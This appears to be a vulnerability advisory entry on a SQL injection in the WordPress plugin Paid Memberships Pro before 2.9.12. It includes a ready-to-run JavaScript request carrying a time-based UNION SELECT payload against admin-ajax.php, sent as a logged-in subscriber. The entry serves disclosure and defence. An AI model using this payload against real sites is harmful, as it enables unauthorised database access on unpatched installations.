Lucene search

K
wpexploitMarc MontpasWPEX-ID:19EF92FD-B493-4488-91F0-E6BA51362F79
HistoryFeb 27, 2023 - 12:00 a.m.

Paid Memberships Pro < 2.9.12 - Subscriber+ SQL Injection

2023-02-2700:00:00
Marc Montpas
82
paid memberships pro
sql injection
subscriber role
security exploit
wordpress

EPSS

0.001

Percentile

37.2%

The plugin does not prevent subscribers from rendering shortcodes that concatenate attributes directly into an SQL query.

While logged in as a subscriber, send the following request:

(await fetch('/wp-admin/admin-ajax.php',{method:'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'},body:'action=parse-media-shortcode&shortcode=[membership delay="Y" levels="(-1)) UNION SELECT sleep(10)-- ,L"]'})).text()

If successful, the request should hang for ~10 seconds, indicating we successfully injected something in the affected SQL query.

EPSS

0.001

Percentile

37.2%

Related for WPEX-ID:19EF92FD-B493-4488-91F0-E6BA51362F79